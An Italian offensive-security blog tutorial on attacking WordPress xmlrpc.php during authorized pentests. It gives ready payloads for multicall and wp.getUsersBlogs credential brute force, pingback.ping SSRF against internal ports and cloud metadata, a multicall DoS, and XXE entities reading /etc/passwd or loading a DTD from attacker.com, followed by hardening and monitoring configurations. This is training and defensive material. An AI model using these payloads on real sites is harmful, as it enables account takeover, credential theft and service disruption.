WordPress xmlrpc.php: Attacchi, Exploit e Tecniche di Pentesting (Guida Offensiva 2026)

Scopri come sfruttare xmlrpc.php su WordPress in un pentest: multicall brute force, attacchi pingback, user enumeration e tecniche di hardening. Workflow pratico per lab HTB e OSCP.
- Pubblicato il 2026-02-03
- Tempo di lettura: 4 min
WordPress xmlrpc.php: Guida Completa alle Vulnerabilità per l’Ethical Hacking (2026) #
Introduzione: Cos’è XML-RPC e Perché è un Problema nel 2026 #
Anche nel 2026, XML-RPC rimane un protocollo legacy attivo su milioni di siti WordPress. Nato per permettere comunicazioni remote tra applicazioni, si è trasformato in un vettore d’attacco privilegiato che bypassa le moderne difese implementate su wp-login.php. A differenza del login standard, xmlrpc.php:
- Non applica rate limiting nella maggior parte delle configurazioni default
- Non supporta 2FA in modo nativo
- Restituisce errori differenziati che facilitano l’enumerazione
- Espone metodi pericolosi come
pingback.pingesystem.multicall
Per l’ethical hacker, rappresenta una superficie d’attacco ad alto valore spesso trascurata nei test automatizzati.
🧰 Toolkit Essenziale 2026 per il Testing XML-RPC #
| Strumento | Versione 2026 | Scopo Principale |
|---|---|---|
| WPScan | 4.2+ | Enumerazione avanzata utenti/plugin/temi vulnerabili |
| Burp Suite Pro | 2026.1+ | Intercettazione, manipolazione e automazione attacchi |
| XMLRPC-Exploit-Kit | 2.0 | Tool specializzato per test specifici su xmlrpc.php |
| Custom Wordlists | Aggiornate 2026 | Dizionari per brute force con password moderne |
📊 Fase 1: Ricognizione con WPScan Aggiornato #
Prima di attaccare xmlrpc.php, mappa l’ambiente con questi comandi:
Scansione Completa (Penetration Test Autorizzato):
wpscan --url http://target.com/ -e vp,vt,u,m,cb,dbe --plugins-detection aggressive --api-token YOUR_TOKENvp: Plugin vulnerabilivt: Temi vulnerabiliu: Utentim: Media files per info disclosurecb: Config backup filesdbe: Database exports
Scansione a Basso Profilo (Bug Bounty):
wpscan --url https://target.com --enumerate u --plugins-detection passive --no-api --random-user-agentApprofondimento WPScan: Questi comandi sono solo l’inizio. Per una guida dettagliata su configurazione avanzata, scripting e tecniche stealth, visita Dominare WPScan: Guida Avanzata per Ethical Hacker.
🔓 Tutti gli Attacchi XML-RPC: Metodologia Completa #
ATTACCO 1: Brute Force Avanzato via wp.getUsersBlogs #
Step 1 - Conferma Presenza XML-RPC
GET /xmlrpc.php HTTP/1.1
Host: target.comAspettati: XML-RPC server accepts POST requests only.
Step 2 - Enumera Tutti i Metodi Disponibili
POST /xmlrpc.php HTTP/1.1
Host: target.com
Content-Type: text/xml
<?xml version="1.0"?>
<methodCall>
<methodName>system.listMethods</methodName>
</methodCall>Metodi chiave da cercare nella risposta:
wp.getUsersBlogs- Per brute forcewp.getCategories- Per info gatheringmetaWeblog.getUsersBlogs- Alternativa per brute forcepingback.ping- Per SSRF/port scanningsystem.multicall- Per attacchi DoS
Step 3 - Enumerazione Utenti con Metodi Specifici
Se wp.getAuthors è disponibile:
<methodCall>
<methodName>wp.getAuthors</methodName>
<params><param><value>1</value></param></params>
</methodCall>Step 4 - Brute Force Mirato Payload per Intruder (Burp Suite):
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>§admin§</value></param> <!-- Username position -->
<param><value>§password123§</value></param> <!-- Password position -->
</params>
</methodCall>Step 5 - Analisi Risposte
| Tipo Risposta | Lunghezza | Contenuto | Significato |
|---|---|---|---|
| Login Corretto | 2-5KB | <struct>, <array>, blogid | ✅ Credenziali valide |
| Login Errato | 200-500B | <faultCode>403</faultCode> | ❌ Password errata |
| User Inesistente | 300-600B | <faultCode>401</faultCode> | ✳️ Username non valido |
ATTACCO 2: SSRF e Port Scanning via pingback.ping #
Step 1 - Verifica Disponibilità
Cerca pingback.ping nella lista metodi.
Step 2 - Basic SSRF Test
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://your-server.com:8080/</string></value></param>
<param><value><string>http://target.com/?p=1</string></value></param>
</params>
</methodCall>Step 3 - Port Scanning Interno
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://192.168.1.1:22</string></value></param>
<param><value><string>http://target.com/?p=1</string></value></param>
</params>
</methodCall>Interpretazione Codici Errore:
<faultCode>0</faultCode>: Successo (porta aperta)<faultCode>16</faultCode>: Il source URI non esiste<faultCode>17</faultCode>: Il source URI non contiene link al target<faultCode>32</faultCode>: Porta chiusa/inesistente<faultCode>33</faultCode>: Host non raggiungibile
Step 4 - Cloud Metadata Attack (2026)
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://169.254.169.254/latest/meta-data/</string></value></param>
<param><value><string>http://target.com/?p=1</string></value></param>
</params>
</methodCall>ATTACCO 3: Denial of Service via system.multicall #
Step 1 - Conferma Metodo
Verifica presenza system.multicall.
Step 2 - Payload DoS Base
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param>
<value>
<array>
<data>
<!-- Ripeti questo blocco 100+ volte -->
<value><struct>
<member><name>methodName</name><value>wp.getPosts</value></member>
<member><name>params</name>
<value><array><data><value><i4>1</i4></value></data></array>
</value></member>
</struct></value>
</data></array></value></param></params>
</methodCall>Step 3 - DoS Avanzato con Chiamate Multiple Crea un payload che mischia:
wp.getPosts(pesante su database)wp.getComments(altra query pesante)wp.getUsers(caricamento profili)
ATTACCO 4: XML Injection e XXE #
Step 1 - Test Parser XML
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodCall>
<methodName>&xxe;</methodName>
</methodCall>Step 2 - External Entity Injection
<!DOCTYPE test [ <!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd"> %ext;]>ATTACCO 5: Authentication Bypass via Vulnerabilità Custom #
Molti plugin/temi personalizzati implementano logiche di auth difettose via XML-RPC.
Pattern da Cercare:
- Plugin che aggiungono metodi custom (
pluginname.method) - Verifica insufficiente dei ruoli utente
- IDOR (Insecure Direct Object Reference) nei parametri
🛡️ Contromisure Complete 2026 #
Per Sviluppatori/Amministratori: #
1. Disabilitazione Completa (Se Non Necessario)
// functions.php del tema
add_filter('xmlrpc_enabled', '__return_false');
add_filter('xmlrpc_methods', 'disable_xmlrpc_methods');
function disable_xmlrpc_methods($methods) {
unset($methods['pingback.ping']);
unset($methods['system.multicall']);
return $methods;
}2. Configurazione .htaccess (Apache)
# Blocca accesso a xmlrpc.php
<Files xmlrpc.php>
Order Deny,Allow
Deny from all
</Files>
# Oppure, permetto solo IP specifici
<Files xmlrpc.php>
Order Deny,Allow
Deny from all
Allow from 192.168.1.0/24
</Files>3. Rate Limiting con Nginx
location ~* /xmlrpc.php {
limit_req zone=one burst=5 nodelay;
limit_req_status 444;
# Configurazione WordPress normale...
}4. Monitoraggio e Allerting
# Script di monitoraggio log
tail -f /var/log/nginx/access.log | grep "xmlrpc.php" | \
awk '{print $1}' | sort | uniq -c | while read count ip; do
if [ $count -gt 10 ]; then
echo "ATTENZIONE: $ip ha fatto $count richieste a xmlrpc.php"
# Invia alert...
fi
donePer Ethical Hacker (Report Recommendations): #
Priorità Fix da Suggerire:
- Critico: Disabilitare
pingback.pingesystem.multicall - Alto: Implementare rate limiting su tutto xmlrpc.php
- Medio: Monitorare tentativi di accesso
- Basso: Considerare disabilitazione completa se non usato
📋 Checklist Finale per il Testing #
- Ricognizione
xmlrpc.phpaccessibile?- WPScan eseguito per enumerazione?
system.listMethodschiamato?
- Vulnerabilità Testate
- Brute force con
wp.getUsersBlogs? - SSRF con
pingback.ping? - Port scanning interno?
- DoS con
system.multicall? - XXE/injection test?
- Plugin custom methods testati?
- Brute force con
- Documentazione
- Screenshot di tutte le richieste/risposte?
- Payload malevoli salvati?
- Impact chiaramente dimostrato?
- Step-by-step reproduction documentato?
📈 Valutazione d’Impatto per Bug Bounty (2026) #
| Vulnerabilità | Severità | Reward Stimato | Esempio di Prova |
|---|---|---|---|
| Brute Force → Admin Access | Critical | $1,000-$5,000 | Video accesso dashboard |
| SSRF → AWS Metadata | High | $500-$2,000 | Screenshot IAM credentials |
| Port Scanning Interno | Medium | $250-$1,000 | Mappa porte interne |
| DoS via Multicall | Medium | $200-$800 | Log server sovraccarico |
| User Enumeration | Low | $100-$300 | Lista utenti validi |
Conclusione: Perché XML-RPC Resta Rilevante nel 2026 #
Nonostante i ripetuti avvisi della comunità sicurezza, xmlrpc.php rimane attivo su circa il 35% dei siti WordPress (dati 2026). La sua rilevanza per l’ethical hacking è duplice:
- Superficie d’attacco persistente: Molte organizzazioni disabilitano
wp-login.phpma dimenticanoxmlrpc.php - Bypass delle difese moderne: Rate limiting, 2FA e WAF spesso non si applicano a questo endpoint
La metodologia presentata offre un approccio sistematico per identificare vulnerabilità reali che altri scanner potrebbero mancare. Ricorda: il testing etico richiede sempre autorizzazione esplicita e documentazione accurata.
Disclaimer Finale: Questo articolo è per scopi educativi in contesti di security testing autorizzati. L’uso non autorizzato di queste tecniche è illegale e contrario all’etica dell’hacking responsabile.
🔗 Risorse Aggiornate:
- WordPress Security Team Updates
- OWASP XML-RPC Security Cheatsheet
- Bug Bounty Platform Comparisons 2026
HackITA — Supporta la Crescita della Formazione Offensiva #
Se questo contenuto ti è stato utile e vuoi contribuire alla crescita di HackITA, puoi supportare direttamente il progetto qui:
Il tuo supporto ci permette di sviluppare lab realistici, guide tecniche avanzate e scenari offensivi multi-step pensati per professionisti della sicurezza.
Vuoi Testare la Tua Azienda o Portare le Tue Skill al Livello Successivo? #
Se rappresenti un’azienda e vuoi valutare concretamente la resilienza della tua infrastruttura contro attacchi mirati, oppure sei un professionista/principiante che vuole migliorare con simulazioni reali:
Red Team assessment su misura, simulazioni complete di kill chain e percorsi formativi avanzati progettati per ambienti enterprise reali.

